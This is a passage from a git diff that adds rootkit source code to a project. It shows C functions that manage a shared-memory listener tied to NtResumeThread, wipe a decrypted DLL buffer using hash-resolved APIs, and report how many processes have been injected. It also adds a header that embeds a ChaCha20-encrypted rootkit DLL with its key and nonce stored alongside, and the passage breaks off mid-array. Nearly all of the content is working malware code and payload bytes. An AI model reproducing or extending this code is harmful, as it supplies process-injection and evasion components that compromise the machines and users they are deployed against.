} + +#ifdef _DEBUG + printf("[ROOTKIT] Shared memory listener started (NtResumeThread IPC)\n"); +#endif + return 0; +} + +// =========================================================================== +// rootkit_stop_shm_listener — signal the listener to stop and clean up +// =========================================================================== +void rootkit_stop_shm_listener(void) { + if (InterlockedCompareExchange(&g_shm_running, 0, 1) != 1) { + return; + } + + // Wake the listener so it can see g_shm_running == 0 and exit + if (g_shm_event) { + SetEvent(g_shm_event); + } + + if (g_shm_thread) { + WaitForSingleObject(g_shm_thread, 3000); + CloseHandle(g_shm_thread); + g_shm_thread = NULL; + } + + if (g_shm_ptr) { + UnmapViewOfFile(g_shm_ptr); + g_shm_ptr = NULL; + } + + if (g_shm_mapping) { + CloseHandle(g_shm_mapping); + g_shm_mapping = NULL; + } + + if (g_shm_event) { + CloseHandle(g_shm_event); + g_shm_event = NULL; + } +} + +// =========================================================================== +// rootkit_get_status — format human-readable status string +// =========================================================================== +// =========================================================================== +// rk_wipe_dll — zero and free the decrypted DLL buffer +// =========================================================================== +void rk_wipe_dll(void) { + if (g_rk_dll_decrypted) { + SecureZeroMemory(g_rk_dll_decrypted, g_rk_dll_size); + PFN_VirtualFree pVF = RESOLVE_API(HASH_KERNEL32, HASH_VirtualFree, PFN_VirtualFree); + if (pVF) pVF(g_rk_dll_decrypted, 0, MEM_RELEASE); + g_rk_dll_decrypted = NULL; + g_rk_dll_size = 0; + } +} + +// =========================================================================== +// rootkit_get_status — format human-readable status string +// =========================================================================== +int rootkit_get_status(char *buf, size_t buf_size) { + if (!buf || buf_size == 0) return -1; + + const char *state = InterlockedCompareExchange(&g_rootkit_active, 0, 0) ? "active" : "inactive"; + const char *monitor = g_monitor_running ? "running" : "stopped"; + const char *shm = g_shm_running ? "running" : "stopped"; + const char *dll_status = g_rk_dll_decrypted ? "decrypted" : + (RK_DLL_ENC_SIZE > 0) ? "encrypted (not yet decrypted)" : + "placeholder (no DLL)"; + + snprintf(buf, buf_size, + "Status\n" + "======\n" + " State: %s\n" + " DLL: %s (%u bytes)\n" + " SHM: %s (primary)\n" + " Poll: %s (fallback, 5s)\n" + " Count: %ld\n", + state, + dll_status, g_rk_dll_size ? g_rk_dll_size : RK_DLL_ENC_SIZE, + shm, + monitor, + InterlockedCompareExchange(&g_rootkit_injected_count, 0, 0)); + + return 0; +} + +#endif // _WIN32 diff --git a/src/rootkit/rk_dll_bytes.h b/src/rootkit/rk_dll_bytes.h new file mode 100755 index 0000000..e5df127 --- /dev/null +++ b/src/rootkit/rk_dll_bytes.h @@ -0,0 +1,2676 @@ +// Auto-generated by rk_dll_encrypt - DO NOT EDIT +// Rootkit DLL: 42496 bytes (ChaCha20 encrypted) +#ifndef RK_DLL_BYTES_H +#define RK_DLL_BYTES_H + +static const unsigned char RK_DLL_KEY[32] = { + 0xF7, 0x61, 0x63, 0x71, 0x6B, 0x57, 0x76, 0x5C, 0xA1, 0x9C, 0x84, 0x19, 0xE1, 0x5B, 0x42, 0xD3, + 0x92, 0x31, 0x8B, 0x0E, 0x69, 0xBB, 0xC5, 0x44, 0xB5, 0xF3, 0x31, 0xD6, 0x45, 0x32, 0x6D, 0x34 +}; + +static const unsigned char RK_DLL_NONCE[12] = { + 0x78, 0xC5, 0x4D, 0xAE, 0x52, 0x9A, 0x1D, 0xE0, 0x62, 0x54, 0x1B, 0x51 +}; + +static const unsigned char RK_DLL_ENC[] = { + 0x86, 0xE8, 0x3E, 0x3F, 0xA6, 0x65, 0x6C, 0xA3, 0xFA, 0xF3, 0x72, 0x70, 0xBE, 0x71, 0x76, 0xEC, + 0x90, 0x19, 0xDB, 0x16, 0xEC, 0x15, 0x50, 0x3D, 0x8C, 0x9D, 0x0E, 0x14, 0xA8, 0x28, 0xF8, 0xB7, + 0xFE, 0xDE, 0x3B, 0xCC, 0x45, 0x4F, 0x2E, 0x2A, 0x05, 0x41, 0xA6, 0xAF, 0xE8, 0xE7, 0x5D, 0xE6, + 0x40, 0x80, 0xE5, 0x54, 0x07, 0x4D, 0xB9, 0xE6, 0x18, 0xBE, 0x32, 0xBF, 0xBE, 0xEF, 0x26, 0x72, + 0xE1, 0x3C, 0x4D, 0x33, 0x5E, 0xDD, 0xBF, 0x72, 0x69, 0xE6, 0x53, 0x35, 0xFF, 0x03, 0x6A, 0xB9, + 0x92, 0x1C, 0xFC, 0x9C, 0xD9, 0x44, 0xBA, 0x6F, 0xEB, 0x52, 0xB9, 0x06, 0x3D, 0xE1, 0x4A, 0x9A, + 0x3E, 0x6B, 0xC5, 0x67, 0xD5, 0x02, 0x61, 0x3C, 0x97, 0xB6, 0x93, 0x52, 0xF5, 0xA7, 0xDA, 0x63, + 0x94, 0xE2, 0x4A, 0x09, 0x65, 0x80, 0xB1, 0x85, 0x99, 0x18, 0x18, 0xEF, 0xDB, 0xB1, 0x75, 0x93, + 0xE3, 0x23, 0xB2, 0x43, 0x2F, 0xDD, 0x7A, 0x4B, 0x28, 0x0C, 0x19, 0x1B, 0x38, 0xDF, 0x89, 0x66, + 0xCD, 0x25, 0x90, 0xDF, 0x49, 0x1D, 0x7C, 0xC8, 0xC3, 0xB0, 0x62, 0xDB, 0xC2, 0x5B, 0x43, 0x86, + 0x3E, 0xB2, 0x2D, 0x6B, 0x53, 0xBA, 0xDD, 0x43, 0xBC, 0x39, 0x4A, 0xAD, 0x7D, 0xAD, 0x36, 0x4E, + 0x8D, 0x7C, 0x20, 0xCF, 0xFF, 0x94, 0xE7, 0x80, 0x4E, 0x78, 0xC5, 0x7E, 0x9B, 0x20, 0xAC, 0x87, + 0x2A, 0x14, 0x0C, 0xE6, 0x88, 0x1A, 0x85, 0x8B, 0xC9, 0x2E, 0x65, 0xD5, 0x80, 0xFF, 0x67, 0xF4, + 0x10, 0xB7, 0x6B, 0xAD, 0x89, 0xE3, 0x89, 0x97, 0x9D, 0x46, 0x03, 0x7C, 0xD5, 0xA7, 0x76, 0xF7, + 0x56, 0x5D, 0x86, 0x36, 0x59, 0xAC, 0xF8, 0x91, 0x26, 0x20, 0x42, 0x4F, 0xF4, 0x11, 0xA7, 0xE5, + 0xF2, 0xD1, 0xFA, 0xF7, 0xC3, 0xC3, 0xD0, 0xD2, 0xA6, 0x4D, 0x8D, 0x32, 0xD0, 0x2D, 0xBC, 0x8A, + 0x42, 0xE8, 0x6A, 0xD0, 0xBF, 0x41, 0x0C, 0x63, 0x6A, 0xA3, 0x79, 0x21, 0x4C, 0x4C, 0xE9, 0x76, + 0x89, 0xC0, 0x9A, 0x65, 0x96, 0xCE, 0x3B, 0xE6, 0xD3, 0xD2, 0x7D, 0xC8, 0xA5, 0xFF, 0x99, 0x55, + 0x79, 0x1D, 0x29, 0xFD, 0xF2, 0x5D, 0x63, 0xF6, 0x22, 0x41, 0xA2, 0x26, 0x3A, 0x3E, 0x19, 0x42, + 0xD8, 0x90, 0x5C, 0xC2, 0x23, 0x3E, 0xE7, 0x67, 0x34, 0xF1, 0x15, 0xB5, 0x35, 0xF7, 0x79, 0x47, + 0x0B, 0x93, 0x57, 0x59, 0x44, 0x03, 0x5D, 0xBB, 0xFB, 0x9F, 0x8A, 0x50, 0xC5, 0x40, 0xED, 0xF4, + 0x7B, 0xE1, 0x4D, 0x3A, 0xCE, 0xD5, 0x0F, 0x2E, 0x4F, 0xE5, 0xE2, 0x9B, 0x43, 0xB9, 0xD6, 0xD8, + 0xD5, 0x97, 0x6D, 0xC7, 0xEF, 0xFD, 0xA0, 0x26, 0x51, 0x37, 0x0B, 0xCC, 0xCA, 0xD3, 0x20, 0xB8, + 0xF5, 0x52, 0x6F, 0x76, 0xE1, 0xEB, 0x1A, 0x27, 0xBD, 0x3E, 0xCD, 0x34, 0x4B, 0xC8, 0xFA, 0x0E, + 0x4C, 0x09, 0x5C, 0xD9, 0x44, 0x16, 0x4F, 0x4D, 0x78, 0xA1, 0x00, 0x4C, 0xE8, 0x77, 0x11, 0x48, + 0xBD, 0x6F, 0x0F, 0x78, 0x15, 0x8C, 0x1E, 0xA9, 0xC8, 0x11, 0xF6, 0x65, 0x65, 0xE4, 0xCA, 0x8C, + 0x2C, 0xC2, 0x25, 0xF9, 0x55, 0x7C, 0x03, 0xCC, 0x66, 0xF6, 0xB0, 0x51, 0xDB, 0x4A, 0xDF, 0x03, + 0x2A, 0xD1, 0xED, 0x30, 0x52, 0xE2, 0xE8, 0x92, 0x09, 0x11, 0x87, 0x9A, 0x26, 0x1A, 0x3D, 0xD8, + 0xFA, 0xA8, 0xEE, 0xE8, 0x35, 0x87, 0x33, 0xA5, 0x43, 0x23, 0x94, 0x57, 0x19, 0x99, 0x04, 0x87, + 0xC7, 0x95, 0x37, 0x90, 0x8D, 0x47, 0x1D, 0xDC, 0xF0, 0x4A, 0x6F, 0x81, 0x84, 0x3F, 0xB1, 0x90, + 0xBB, 0x7A, 0xBB, 0x3A, 0xF6, 0x44, 0x2C, 0xAC, 0x77, 0x3B, 0x8F, 0x7B, 0x75, 0x4E, 0x45, 0x57, + 0xFA, 0xB9, 0x4D, 0xA3, 0x8E, 0xCD, 0xAD, 0xD7, 0xA4, 0x0B, 0xCA, 0xA3, 0x71, 0xF1, 0x40, 0x03, + 0x13, 0x5B, 0xA4, 0xF8, 0x42, 0x24, 0xD4, 0x33, 0x9D, 0x69, 0xCD, 0x02, 0xB8, 0xA1, 0xD0, 0xA1, + 0xB1, 0x37, 0xA1, 0xD6, 0xB3, 0x40, 0xC2, 0xB4, 0xA1, 0xCF, 0x9D, 0x24, 0x3E, 0x88, 0x11, 0x7B, + 0x28, 0x6F, 0x24, 0x76, 0x45, 0x2E, 0x93, 0x0E, 0xD0, 0x64, 0xEC, 0x50, 0x4A, 0x25, 0x6A, 0x7A, + 0x9C, 0x71, 0x50, 0xE1, 0x26, 0xF2, 0x0D, 0x54, 0x1D, 0xEE, 0x2A, 0x2F, 0xD4, 0xB5, 0x25, 0x79, + 0x66, 0xEF, 0xE0, 0x29, 0xF0, 0x1B, 0x6D, 0x0A, 0x7D, 0x7C, 0x3B, 0x08, 0x91, 0x90, 0xB8, 0x84, + 0xDE, 0xB0, 0xDF, 0x53, 0x61, 0x57, 0xA0, 0x86, 0x78, 0x4B, 0xC5, 0xAF, 0x7D, 0x5D, 0xDA, 0x0E, + 0x7F, 0xA1, 0xAB, 0x8F, 0xA6, 0xD9, 0xD8, 0x3F, 0x31, 0x19, 0x9B, 0x97, 0xAC, 0xE5, 0xD4, 0x86, + 0xD5, 0x3E, 0x59, 0x76, 0xED, 0xBF, 0x94, 0x9D, 0x86, 0xFD, 0xC0, 0x10, 0x8D, 0xD7, 0x23, 0x2C, + 0x06, 0x0C, 0x4E, 0xE1, 0xB9, 0x3B, 0x0F, 0xAD, 0x58, 0x19, 0xAC, 0x53, 0x93, 0xC7, 0x22, 0x78, + 0x73, 0x16, 0xF8, 0x0B, 0x8F, 0x57, 0x91, 0xB7, 0x29, 0x74, 0xF5, 0x44, 0x4B, 0xF1, 0x26, 0xDE, + 0xD7, 0x5D, 0xBA, 0xC8, 0xA6, 0xFF, 0xD5, 0x0F, 0x17, 0x48, 0x71, 0x4E, 0xCD, 0xE9, 0x60, 0x11, + 0x06, 0x45, 0xCC, 0x78, 0xE7, 0x57, 0xC0, 0xDD, 0xD0, 0xD0, 0x57, 0x1B, 0xB3, 0x26, 0x50, 0x87, + 0x78, 0x42, 0xB8, 0x96, 0x87, 0x97, 0x5F, 0x11, 0xDC, 0x13, 0xDC, 0x50, 0x12, 0xF9, 0x74, 0x36, + 0x82, 0x8A, 0xF7, 0x9C, 0x6F, 0xAE, 0xFA, 0xC5, 0xD2, 0x57, 0x46, 0xF5, 0x2E, 0x57, 0x4D, 0xE3, + 0x7D, 0x54, 0x5B, 0xB9, 0x0F, 0x22, 0x7A, 0x26, 0xCF, 0xEC, 0xD1, 0x62, 0x55, 0x6D, 0xA0, 0xA3, + 0x91, 0xB6, 0x5F, 0x27, 0x71, 0x64, 0x07, 0xA1, 0x3A, 0xC7, 0x1A, 0x78, 0x93, 0xED, 0xF0, 0x44, + 0xD6, 0x8A, 0x6A, 0x66, 0x7C, 0xC3, 0xED, 0x0C, 0xEB, 0x37, 0x51, 0xF1, 0x7C, 0x45, 0xB7, 0x91, + 0xAE, 0x60, 0xA1, 0x14, 0xAB, 0x77, 0x71, 0xDC, 0x08, 0x34, 0xD7, 0xF5, 0x44, 0x56, 0x5E, 0x6A, + 0xC4, 0xF9, 0xF0, 0xAC, 0x49, 0xB1, 0x22, 0x1E, 0x5E, 0xC4, 0x87, 0x04, 0xD9, 0x44, 0xF6, 0x6B, + 0xB0, 0xFD, 0x84, 0xB8, 0xC8, 0xE0, 0x07, 0x84, 0x7B, 0xF5, 0x71, 0x55, 0x85, 0x0F, 0x44, 0x12, + 0xC6, 0x10, 0x4E, 0xFA, 0x31, 0x3C, 0xE9, 0x18, 0x47, 0x37, 0xE0, 0x8C, 0x01, 0xFA, 0xD2, 0x6D, + 0xE5, 0x61, 0x8F, 0x2E, 0xEF, 0x85, 0x60, 0x58, 0xDB, 0x57, 0x2E, 0x20, 0x18, 0x99, 0x53, 0xC2, + 0x89, 0x16, 0x59, 0xAE, 0x69, 0xA6, 0x78, 0x92, 0xDD, 0x78, 0xB1, 0xB3, 0xCA, 0xA3, 0x16, 0xF5, + 0xF3, 0xD2, 0x92, 0x90, 0xF0, 0x16, 0x0B, 0x24, 0xD0, 0x64, 0x65, 0x79, 0xF7, 0xB3, 0x94, 0x77, + 0x87, 0x54, 0x87, 0x2C, 0x19, 0x8B, 0xD3, 0x73, 0x30, 0x6D, 0xD4, 0x65, 0x09, 0xC3, 0xFC, 0xB4, + 0xE7, 0x44, 0x94, 0x81, 0x21, 0x85, 0x25, 0x5F, 0xA6, 0x51, 0xF6, 0x32, 0x05, 0x43, 0xBF, 0x78, + 0xC7, 0xDE, 0x3E, 0x1A, 0x63, 0xF2, 0x9D, 0x73, 0x29, 0x85, 0xDC, 0xAD, 0xB9, 0x54, 0xE7, 0x20, + 0x38, 0x45, 0xC1, 0xCA, 0x2C, 0xFD, 0xAA, 0xA8, 0x03, 0x01, 0x4B, 0xC4, 0x8E, 0xA0, 0xB6, 0x88, + 0x3B, 0x2D, 0xE2, 0xA1, 0x94, 0x1C, 0xD5, 0xF1, 0xB9, 0x3F, 0xBE, 0xAB, 0x63, 0x4A, 0xEB, 0xA7, + 0x4B, 0x42, 0x10, 0x56, 0xEF, 0x32, 0x04, 0x45, 0xA8, 0x3A, 0xA5, 0x22, 0x0A, 0xF5, 0x29, 0x63, + 0x3A, 0xCD, 0xBB, 0x9A, 0x78, 0xFC, 0x7B, 0xFF, 0xF4, 0x55, 0x20, 0x1E, 0x8F, 0xD9, 0xAF, 0x53, + 0xB3, 0xF3, 0xCC, 0xC6, 0xB9, 0xA5, 0xA3, 0x87, 0x24, 0x28, 0xFD, 0x2C, 0xDE, 0x14, 0xE6, 0x15, + 0xEF, 0x56, 0x06, 0x56, 0x62, 0xA9, 0x54, 0x86, 0xF4, 0x7F, 0xD3, 0x68, 0xDC, 0xD7, 0x62, 0x40, + 0x51, 0x9C, 0x4B, 0x54, 0x93, 0xB5, 0x41, 0xC9, 0xB1, 0xA2, 0x62, 0xE5, 0xE4, 0x3A, 0x37, 0x98, + 0xA8, 0x47, 0xD0, 0x0A, 0x5E, 0xC3, 0xD9, 0x77, 0x41, 0x08, 0x9D, 0xF3, 0xFC, 0xDC, 0xBF, 0xD7, + 0x91, 0x56, 0x18, 0xD7, 0x86, 0x9D, 0x83, 0x60, 0x3C, 0xA5, 0xAF, 0xA6, 0x4E, 0xEE, 0x17, 0xE2, + 0x73, 0x78, 0x4D, 0xE6, 0xE6, 0x4F, 0x69, 0x28, 0xE4, 0x34, 0x37, 0x45, 0x73, 0xEE, 0x0A, 0xFF, + 0x13, 0xB8, 0x71, 0x94, 0xC0, 0x73, 0x23, 0xE0, 0xAE, 0xB6, 0x1F, 0x2C, 0x8E, 0x10, 0xF0, 0xAF, + 0x24, 0x1E, 0x5D, 0x13, 0xA6, 0xE8, 0xA2, 0xF8, 0xB8, 0xFC, 0xEE, 0xAF, 0x45, 0xB6, 0x31, 0x91, + 0xEE, 0xCD, 0x9A, 0xDE, 0x67, 0xC3, 0x30, 0xBD, 0xAB, 0x8D, 0x48, 0xD5, 0x37, 0xA4, 0x16, 0x52, + 0xBE, 0xBF, 0x5E, 0xA2, 0x8A, 0xEE, 0xFE, 0x9C, 0x6B, 0xB6, 0xDA, 0x13, 0x09, 0xAE, 0x5A, 0x09, + 0xEE, 0xCE, 0x22, 0x64, 0x04, 0x71, 0x43, 0xC7, 0x05, 0x5E, 0x61, 0x82, 0xEA, 0xA6, 0x14, 0xE5, + 0xA6, 0x9D, 0x07, 0xAB, 0x3B, 0xBE, 0x29, 0x6A, 0xE1, 0xE9, 0x56, 0x7C, 0xBF, 0x09, 0xC4, 0x22, + 0xF4, 0xA3, 0x05, 0xCD, 0xD5, 0x24, 0x1F, 0x84, 0x26, 0x1D, 0xDE, 0x89, 0x7F, 0x2D, 0x4A, 0x02, + 0x29, 0x37, 0xC2, 0xB4, 0x13, 0xF5, 0x79, 0x11, 0xBF, 0x9D, 0xFA, 0xD1, 0xEF, 0x3D, 0x9B, 0x58, + 0xF0, 0x76, 0xC3, 0x93, 0x34, 0x09, 0xD5, 0x3D, 0x2A, 0x5A, 0x6D, 0x1C, 0x5D, 0x73, 0xD7, 0x0D, + 0x2D, 0x45, 0xAE, 0x97, 0x9A, 0x5D, 0xE3, 0x86, 0x58, 0x54, 0x82, 0xE0, 0x5F, 0x88, 0xED, 0xBA, + 0xEE, 0xCD, 0x76, 0xFF, 0x0C, 0x3C, 0x93, 0xD8, 0xE1, 0x9F, 0x53, 0x74, 0x42, 0x9E, 0xBE, 0x15, + 0x11, 0x23, 0xB4, 0x55, 0x6A, 0xE9, 0x7A, 0x8B, 0x16, 0xE3, 0xE2, 0x5A, 0xA6, 0x35, 0xDD, 0x47, + 0xBE, 0xE9, 0x72, 0xDE, 0x9A, 0x08, 0x83, 0xBB, 0x0D, 0x83, 0xBE, 0xD1, 0x9F, 0x4D, 0x42, 0x3B, + 0x23, 0xE4, 0xEE, 0x83, 0x3F, 0xDD, 0xD0, 0x7C, 0xE3, 0x11, 0x62, 0xFD, 0x47, 0x06, 0xB9, 0xB9, + 0xD6, 0xDA, 0x19, 0x30, 0xB4, 0x5E, 0xB7, 0xC4, 0x3E, 0xB4, 0xD2, 0x2D, 0x6A, 0x0F, 0x96, 0x55, + 0x35, 0xB5, 0x27, 0x3D, 0x05, 0xDA, 0xC1, 0x8F, 0x24, 0xAC, 0x46, 0xD1, 0x19, 0x6A, 0xCA, 0x4A, + 0xAB, 0x2C, 0xFA, 0x7D, 0x94, 0x31, 0x1A, 0x91, 0x50, 0x13, 0x5D, 0x63, 0xDC, 0xCD, 0x43, 0x1C, + 0x5A, 0x7E, 0x8A, 0x27, 0xA7, 0x09, 0x0D, 0xC6, 0xCB, 0x03, 0xD2, 0x4A, 0x99, 0x62, 0x8B, 0x34, + 0xF6, 0x46, 0x06, 0x2C, 0x75, 0xC4, 0xEC, 0xC4, 0x97, 0x5C, 0x48, 0x46, 0xBF, 0x72, 0xDB, 0x76, + 0x18, 0x42, 0x3F, 0x71, 0xB2, 0x26, 0x63, 0xC5, 0xCB, 0xA7, 0xB3, 0xE6, 0x31, 0xC7, 0xE7, 0x8B, + 0x6E, 0x5E, 0xA6, 0x64, 0xBB, 0x31, 0xCE, 0xED, 0xB6, 0xF4, 0xF4, 0x8E, 0x78, 0x10, 0x9D, 0xB1, + 0x2D, 0x92, 0xA2, 0xAE, 0xB7, 0xEB, 0x14, 0x03, 0xE2, 0xC9, 0x63, 0xC9, 0x12, 0x77, 0x44, 0xCB, + 0x1B, 0x67, 0x64, 0x34, 0x7C, 0xFE, 0x68, 0xC7, 0x41, 0x0B, 0x10, 0x2E, 0xA6, 0x47, 0x21, 0x57, + 0x34, 0x73, 0xC0, 0xD0, 0xC9, 0xC5, 0x99, 0x7B, 0xB1, 0xA5, 0x5F, 0x91, 0x4E, 0x34, 0x0B, 0x60, + 0x68, 0xC9, 0xF7, 0x14, 0x5F, 0x65, 0x49, 0x85, 0xC8, 0xCC, 0x1D, 0x40, 0x8F, 0x33, 0xCE, 0x89, + 0x03, 0xCC, 0x97, 0x80, 0x24, 0x41, 0x41, 0xEA, 0x52, 0x2B, 0xEF, 0x87, 0x9C, 0x4F, 0xC8, 0xD8, + 0x0D, 0x07, 0x4D, 0xAE, 0x60, 0xD3, 0x73, 0x79, 0x34, 0x39, 0x8B, 0xBC, 0xE3, 0x8E, 0x7A, 0xF2, + 0x95, 0xE1, 0x06, 0xE5, 0x5A, 0x85, 0xBE, 0x98, 0x20, 0x55, 0x5B, 0x3D, 0x79, 0x7E, 0x3C, 0x35, + 0x5C, 0x26, 0xD5, 0x6C, 0x40, 0x8F, 0x1A, 0x5F, 0xDE, 0xCC, 0xE5, 0x1A, 0xEC, 0x0A, 0x81, 0x1C, + 0xB8, 0x5B, 0x93, 0x42, 0xBD, 0xA3, 0x55, 0xA7, 0xDF, 0xBE, 0xCC, 0xCF, 0x46, 0x81, 0xEB, 0xF2, + 0x00, 0xF9, 0xFD, 0xE9, 0xC4, 0xE6, 0xE1, 0x7C, 0x5F, 0x44, 0x92, 0x69, 0x65, 0xFF, 0xED, 0x3D, + 0x60, 0x34, 0xF7, 0xEF, 0x29, 0x43, 0xCE, 0x60, 0x2B, 0x6B, 0x00, 0xE2, 0xCC, 0x15, 0x58, 0x5D, + 0xAE, 0xB4, 0x4F, 0xC2, 0x96, 0x73, 0xF2, 0x6E, 0xD0, 0x7E, 0x1F, 0xCA, 0x93, 0x85, 0x56, 0xAF, + 0x64, 0x1C, 0x94, 0xE8, 0xBB, 0x3D, 0xDA, 0x6C, 0x99, 0x1D, 0x7F, 0x5B, 0xB6, 0xDF, 0xA7, 0x77, + 0xEF, 0xF2, 0xF6, 0x62, 0xC8, 0x44, 0xA1, 0x8E, 0xC4, 0x55, 0x29, 0x61, 0x63, 0x81, 0xB2, 0xA2, + 0x39, 0xBD, 0xA9, 0xE9, 0xE6, 0xA9, 0x72, 0x0C, 0x19, 0x04, 0x4D, 0x1B, 0x90, 0xEA, 0xD3, 0xF9, + 0xB2, 0xA5, 0x7E, 0xFD, 0x8A, 0x14, 0x55, 0xF3, 0x08, 0x3B, 0xA6, 0x4F, 0xA6, 0x5B, 0x7E, 0x98, + 0x9A, 0x03, 0x4D, 0x08, 0x39, 0x03, 0xBC, 0x1A, 0xF3, 0x34, 0x84, 0xFC, 0xD1, 0x2F, 0x82, 0x7C, + 0xE6, 0xB4, 0x9B, 0x8D, 0x9E, 0x3C, 0x5D, 0xA5, 0x72, 0xE2, 0x95, 0x46, 0x0F, 0xA6, 0x92, 0x3D, + 0x5C, 0x37, 0x81, 0x74, 0xC5, 0xD3, 0x87, 0x43, 0x0C, 0xF0, 0x0C, 0x9D, 0x04, 0x53, 0xC8, 0x36, + 0x67, 0x51, 0x94, 0x8B, 0x3E, 0x84, 0x04, 0x56, 0xD6, 0x8F, 0xE4, 0x05, 0x17, 0x2B, 0x11, 0xE7, + 0xE1, 0x64, 0x2C, 0x1E, 0xF4, 0x58, 0xB3, 0x54, 0x39, 0xDE, 0xD3, 0xCE, 0x0A, 0xB7, 0x42, 0x87, + 0xAC, 0x6E, 0xEA, 0xA5, 0x82, 0x2E, 0x23, 0x69, 0x35, 0xB2, 0x07, 0x63, 0x0A, 0xCC, 0x88, 0x46, + 0x31, 0x31, 0x3F, 0x9B, 0xDF, 0x29, 0x00, 0x76, 0xA9, 0x69, 0xC3, 0x45, 0x72, 0x25, 0x4C, 0x5C, + 0x71, 0xCC, 0x75, 0xC7, 0x82, 0xC7, 0x81, 0x1A, 0x55, 0x27, 0x8F, 0x58, 0x8E, 0x40, 0xFB, 0x47, + 0x8E, 0x24, 0xEF, 0x7D, 0x6A, 0x0C, 0xAE, 0x30, 0x0F, 0x60, 0xB6, 0x85, 0xFA, 0x09, 0x83, 0x8C, + 0x69, 0x91, 0xA4, 0xD5, 0x92, 0x3B, 0x5D, 0xBC, 0x12, 0x16, 0x0C, 0x66, 0xC2, 0xF3, 0x4F, 0xC9, + 0xD3, 0xBF, 0xDB, 0x98, 0xE8, 0x6D, 0xDA, 0xD2, 0x83, 0x39, 0xAE, 0x43, 0xC3, 0x7A, 0xF7, 0x57, + 0xD5, 0x07, 0xA5, 0x96, 0x49, 0x5A, 0x3A, 0x6E, 0x35, 0x0D, 0x0A, 0x4E, 0xFF, 0xF1, 0xA1, 0x1F, + 0x1A, 0xA6, 0x8A, 0xA8, 0x18, 0x83, 0x22, 0x36, 0x6A, 0xA2, 0x7B, 0x5C, 0x26, 0x98, 0x1F, 0xE4, + 0x5D, 0xB6, 0xE9, 0x62, 0xE3, 0xF2, 0x6B, 0xC5, 0x58, 0x40, 0xDF, 0x7C, 0x24, 0x22, 0x3D, 0x52, + 0x8C, 0x31, 0x27, 0x49, 0xA4, 0xDC, 0x3C, 0xE1, 0xCC, 0xF7, 0xAC, 0xDB, 0x88, 0x44, 0xDC, 0x12, + 0xA1, 0x7B, 0x8B, 0xD6, 0x77, 0x2D, 0x6D, 0xCD, 0x62, 0xE0, 0x19, 0x68, 0x99, 0x61, 0x85, 0x5F, + 0x39, 0xC9, 0x37, 0x61, 0xD9, 0xD5, 0x6F, 0xF5, 0xB1, 0x6A, 0x6D, 0x8B, 0x1B, 0xAA, 0x85, 0xBB, + 0x41, 0x96, 0x66, 0x2D, 0xAD, 0xCE, 0xD4, 0x98, 0xCD, 0xD5, 0x17, 0x4B, 0x9E, 0xA3, 0x55, 0xEE, + 0x21, 0x14, 0x0B, 0x59, 0x16, 0xE4, 0xA7, 0x3C, 0x8E, 0xC4, 0x96, 0xDA, 0x88, 0x00, 0x41, 0x69, + 0x5E, 0xCA, 0xF3, 0x3C, 0xFD, 0x89, 0x14, 0x7C, 0xAD, 0xC0, 0x8D, 0xF2, 0x38, 0x1A, 0xF8, 0xEF, + 0x01, 0xDC, 0xB5, 0x49, 0xAF, 0xF5, 0x1C, 0x7A, 0x2B, 0x01, 0x17, 0x59, 0x46, 0xAE, 0x8F, 0x24, + 0x6A, 0x3F, 0x93, 0x3C, 0x4C, 0xE6, 0xBB, 0x48, 0xCC, 0xAF, 0x1B, 0xD3, 0x74, 0x6D, 0x2F, 0xBA, + 0x6E, 0x8D, 0x9F, 0xCD, 0x7B, 0xDC, 0xE5, 0xD5, 0x1A, 0xE3, 0x91, 0xDA, 0x1F, 0x81, 0x8C, 0x8F, + 0xC7, 0x07, 0xCB, 0x5F, 0xFD, 0x3C, 0xBD, 0x87, 0xA6, 0x75, 0x5D, 0x52, 0x37, 0x34, 0xC5, 0xE0, + 0x9A, 0xF8, 0xC4, 0x94, 0x77, 0xC1, 0x25, 0x7B, 0x7A, 0x5B, 0x8B, 0x75, 0xEF, 0x42, 0x0D, 0xF5, + 0xE9, 0xD2, 0x44, 0x60, 0x70, 0x47, 0xD3, 0x52, 0xA2, 0x71, 0xB4, 0xF3, 0x5D, 0x3D, 0x19, 0xFB, + 0xD4, 0xCE, 0xF2, 0x49, 0xCC, 0x09, 0xE9, 0x78, 0xD6, 0x73, 0xF8, 0x9B, 0x03, 0x4E, 0x79, 0x66, + 0x00, 0x32, 0xBF, 0x0A, 0xF6, 0x2C, 0x9D, 0xD3, 0x4E, 0x2D, 0x9E, 0x24, 0x5B, 0x35, 0xD7, 0x1F, + 0xCB, 0xBC, 0xA3, 0x3D, 0xF9, 0x25, 0xFB, 0x97, 0x65, 0x8F, 0x6A, 0xF8, 0x16, 0xFB, 0x50, 0x0F, + 0x5C, 0x57, 0x46, 0x4A, 0x7B, 0xDA, 0x69, 0xA8, 0x45, 0xED, 0xA5, 0xBE, 0x70, 0x9C, 0xC0, 0xF4, + 0x27, 0x34, 0x3B, 0xC9, 0x1E, 0xBC, 0x4F, 0xCC, 0xBB, 0xFA, 0x48, 0xD8, 0x6E, 0x49, 0x88, 0x95, + 0xC4, 0x92, 0x2D, 0x86, 0x3E, 0x4D, 0x04, 0x9A, 0x11, 0xD6, 0xFB, 0x99, 0x24, 0x30, 0x03, 0x2B, + 0xE9, 0x49, 0x4C, 0xCA, 0x0B, 0x4D, 0xC6, 0x22, 0x16, 0x6A, 0xBA, 0xCC, 0xF5, 0x68, 0x85, 0xAD, + 0xE0, 0xB6, 0xEA, 0x62, 0x90, 0xA7, 0x59, 0xAC, 0xBE, 0x86, 0xA0, 0x19, 0xED, 0xA5, 0xC0, 0x83, + 0xD7, 0xF9, 0x88, 0x65, 0x6D, 0x7C, 0x4B, 0xCC, 0x2C, 0x0C, 0x2C, 0x87, 0xA2, 0x88, 0x2E, 0xFC, + 0x25, 0x95, 0x60, 0x8F, 0x76, 0xAC, 0x35, 0xEC, 0x77, 0x4D, 0x92, 0xDC, 0x5D, 0xEF, 0xC7, 0x05, + 0x9F, 0x84, 0x1B, 0x44, 0x0F, 0xBC, 0x98, 0xE7, 0x28, 0x7B, 0x8C, 0xFE, 0x42, 0x7E, 0xD1, 0x5A, + 0xCE, 0x87, 0xF4, 0xF0, 0x0A, 0x67, 0x3E, 0x68, 0xD0, 0xA3, 0x2D, 0x10, 0xC4, 0xED, 0xB2, 0x81, + 0xC1, 0x02, 0x9B, 0x52, 0x0C, 0x9E, 0x81, 0xBB, 0x12, 0x79, 0xC2, 0x02, 0x19, 0x57, 0x63, 0x0E, + 0xA9, 0xBB, 0xB9, 0x9A, 0xBF, 0xDA, 0x77, 0xD1, 0xC3, 0x35, 0xD1, 0xDA, 0x35, 0x75, 0xDE, 0x80, + 0x2F, 0xE2, 0x6F, 0xD4, 0x6F, 0x50, 